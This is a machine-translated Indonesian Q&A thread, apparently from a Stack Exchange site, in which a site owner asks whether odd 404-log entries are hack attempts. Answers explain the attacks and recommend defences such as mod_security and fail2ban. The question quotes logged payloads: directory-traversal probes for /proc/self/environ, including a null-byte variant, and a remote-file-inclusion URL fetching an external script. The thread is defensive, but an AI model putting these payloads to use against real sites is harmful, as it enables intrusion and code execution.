apakah ini upaya hack?

12

Melihat melalui 404 log saya, saya perhatikan dua URL berikut, yang keduanya terjadi sekali:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

dan

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Halaman yang dimaksud,, library.phpmembutuhkan typevariabel dengan setengah lusin nilai yang dapat diterima berbeda, dan kemudian idvariabel. Jadi mungkin URL yang valid

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

dan id semua dijalankan mysql_real_escape_stringsebelum digunakan untuk query database.

Saya pemula, tetapi menurut saya kedua tautan ini adalah serangan sederhana terhadap webroot?

1) Bagaimana cara terbaik untuk melindungi hal-hal semacam ini selain 404?

2) Haruskah saya mengizinkan IP yang bertanggung jawab?

EDIT: juga baru saja memperhatikan yang satu ini

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: IP yang menyinggung untuk semua 3 serangan adalah 216.97.231.15yang melacak ke ISP disebut Lunar Pages yang terletak di luar Los Angeles.

EDIT 3: Saya telah memutuskan untuk menelepon ISP Jumat pagi waktu setempat dan mendiskusikan masalah ini dengan siapa pun yang dapat saya telepon. Saya akan memposting hasilnya di sini dalam 24 jam atau lebih.

EDIT 4: Saya akhirnya mengirim email ke admin mereka dan mereka menjawab pertama bahwa "mereka sedang mencari ke dalamnya" dan kemudian sehari kemudian dengan "masalah ini harus diselesaikan sekarang." Sayangnya, tidak ada perincian lebih lanjut.

Drew
sumber
Adnrew, apakah saya benar bahwa skrip /library.php ini tidak menyertakan apa pun dari string kueri? Dalam hal ini Anda aman
Kol. Shrapnel
library.php menangani tautan yang dibuat oleh situs saya sendiri. The typememberitahu script yang meliputi penggunaan (meskipun melalui IF $_GET['type'] == 'thing') {} ESLE..., bukan sebagai link langsung seperti include 'type.php') dan iddijalankan melalui mysql_real_escape_string dan yang digunakan untuk query. Mengetahui hal itu, apakah saya masih aman?
Adakah yang bisa menjelaskan apa yang sebenarnya dicari si penyerang? Ringkasan singkat dalam pertanyaan semua jawaban akan sangat bagus.
bzero

Jawaban:

19

0) Ya. Paling tidak, ini merupakan penyelidikan sistematis terhadap situs Anda yang mencoba mencari tahu apakah itu rentan.

1) Selain memastikan bahwa kode Anda bersih, tidak banyak yang dapat Anda lakukan selain menjalankan tes Anda sendiri terhadap host Anda untuk memastikan itu aman. Google Skipfish adalah salah satu dari banyak alat untuk membantu Anda di sana.

2) saya akan.

TML
sumber
10
Mengenai 0)notasi: bagus !! Saya tidak pernah memikirkan itu.
@polygenelubricants Saya yakin Anda tidak akan memikirkan -1)atau 0.5)atau π)atau 2 + 3i)notasi baik. : P
Mateen Ulhaq
7

Ini adalah serangan, sangat banyak dijelaskan di sini .

Yanick Rochon
sumber
7

Seperti yang dikatakan oleh orang lain: ya, ini adalah upaya hack. Perlu diketahui bahwa selain upaya buatan tangan ini ada banyak dan banyak yang otomatis dijalankan oleh botnet. Umumnya serangan semacam itu berusaha menyelinap melalui kerentanan lama dan / atau beberapa kelemahan pengkodean yang khas, seperti kegagalan untuk memvalidasi input pengguna yang mengarah ke injeksi SQL, kebocoran sistem atau file, atau serupa.

Pelarangan botnet itu dengan tangan kemungkinan besar tidak mungkin, karena botnet dapat menggunakan hingga ribuan alamat IP unik, jadi jika Anda ingin melarangnya, Anda harus menggunakan semacam program larangan otomatis. fail2ban datang ke pikiran saya; buatlah untuk bereaksi terhadap peristiwa mod_security atau beberapa entri log lainnya.

Jika kode Anda bersih dan server mengeras, upaya peretasan tersebut hanya mengganggu polusi log. Tetapi lebih baik untuk mengambil langkah pencegahan dan mempertimbangkan beberapa atau semua hal berikut, tergantung pada kebutuhan Anda:

  • mod_security adalah modul Apache yang menyaring semua jenis upaya peretasan yang khas. Itu juga dapat membatasi lalu lintas keluar (halaman server Anda akan mengirim ke klien) jika melihat JavaScript yang mencurigakan dll.

  • Suhosin untuk pengerasan PHP itu sendiri.

  • Jalankan skrip PHP Anda sebagai pengguna yang memiliki skrip; hal-hal seperti suphp dan php-fpm memungkinkan.

  • Pasang direktori sementara webroot dan PHP Anda sebagai noexec, nosuid, nodev .

  • Nonaktifkan fungsi PHP yang tidak dibutuhkan, seperti sistem dan passthru .

  • Nonaktifkan modul PHP yang tidak dibutuhkan. Misalnya, jika Anda tidak memerlukan dukungan IMAP, jangan aktifkan.

  • Selalu perbarui server Anda.

  • Awasi log Anda.

  • Pastikan Anda memiliki cadangan.

  • Rencanakan apa yang harus dilakukan jika seseorang meretas Anda atau bencana lain menghantam Anda.

Itu awal yang bagus. Lalu bahkan ada langkah-langkah yang lebih ekstrem seperti Snort dan Prelude , tetapi mereka bisa sangat berlebihan untuk sebagian besar pengaturan.

Janne Pikkarainen
sumber
3

Sangat mungkin bahwa mesin yang membuat pertanyaan itu adalah zombie botnet. Jika Anda mendapatkan permintaan tersebut dari beberapa IP, mungkin tidak layak untuk melarangnya, karena Anda harus melarang separuh internet agar efektif.

Chris
sumber
1

Seperti yang sudah dikatakan - ini merupakan upaya untuk mengakses file / proc / self / environment untuk mendapatkan informasi lebih lanjut.

Saya menganggap itu mesin linux:

Kamu harus menggunakan

Anda dapat memblokir ip dari server yang menyerang, tetapi Anda harus mempertimbangkan bahwa itu bisa tidak menyerang dalam fitur.

Saya biasa memblokir beberapa layanan ketika server saya sedang diserang: http / https / pop / imap / ssh tetapi biarkan smtp terbuka, bahwa Anda dapat diberi tahu jika Anda membuat kesalahan.

Andreas Rehm
sumber
Mengapa menunggu sampai Anda mendapat serangan yang gagal sebelum mengubah keamanan Anda? Mengapa melakukan apa saja ketika Anda tahu serangannya gagal? Ya, OP mungkin mempertimbangkan beberapa penyesuaian sementara untuk mengurangi kebisingan dan membuang-buang bandwidth - tetapi ada implikasi untuk menerapkan perubahan yang Anda sarankan yang belum Anda
atasi
Selalu ada implikasi. Biarkan apa adanya dan Anda mungkin diretas. Amankan server Anda dan hadapi masalah yang disebabkan oleh program keamanan. Namun bagaimanapun juga - keamanan adalah masalah utama pada sistem yang dapat diakses web!
Andreas Rehm
0

Ya itu upaya intrusi. Anda harus melarang IP. Jika Anda menentukan bahwa IP di luar negara, Anda mungkin hanya ingin melarang seluruh subnet miliknya. Ini bukan masalah kode daripada masalah server. Lihatlah intrusi khusus ini dan pastikan penyedia hosting Anda tidak rentan terhadapnya atau upaya kiddie skrip serupa (yang terlihat seperti ini).

Joel Etherton
sumber
0

Ini adalah upaya untuk mengeksploitasi potensi kerentanan inklusi file lokal sewenang-wenang dalam skrip sisi server yang dapat diakses melalui server web Anda. Pada sistem linux yang rentan /proc/self/environdapat disalahgunakan untuk mengeksekusi kode sisi server sewenang-wenang.

Cheekysoft
sumber
0

Seperti yang direkomendasikan oleh Janne Pikkarainen:

Awasi log Anda.

Pastikan Anda memiliki cadangan.

Sebagai bagian dari log ini, penting untuk memantau perubahan file Anda, termasuk situs web Anda, sebagai bagian dari sistem deteksi intrusi. Contohnya adalah OpenBSD yang melakukan ini secara default untuk file konfigurasi. Saya membawa ini karena:

  • Untuk Situs Cloud ada modifikasi halus untuk file PHP di situs web yang dibuat khusus (ini hanya menghasilkan tag non-standar tapi mungkin bagian dari tes untuk mengukur besarnya eksploit).
  • Untuk satu rekan kerja ada pengalihan halus dalam file .htaccess WordPress mereka (hanya referer dari hasil pencarian Google).
  • Untuk rekan kerja lain ada modifikasi halus untuk file konfigurasi Joomla mereka (tidak ingat apa, saya pikir itu redirect dalam kondisi tertentu juga).
Rob Olmos
sumber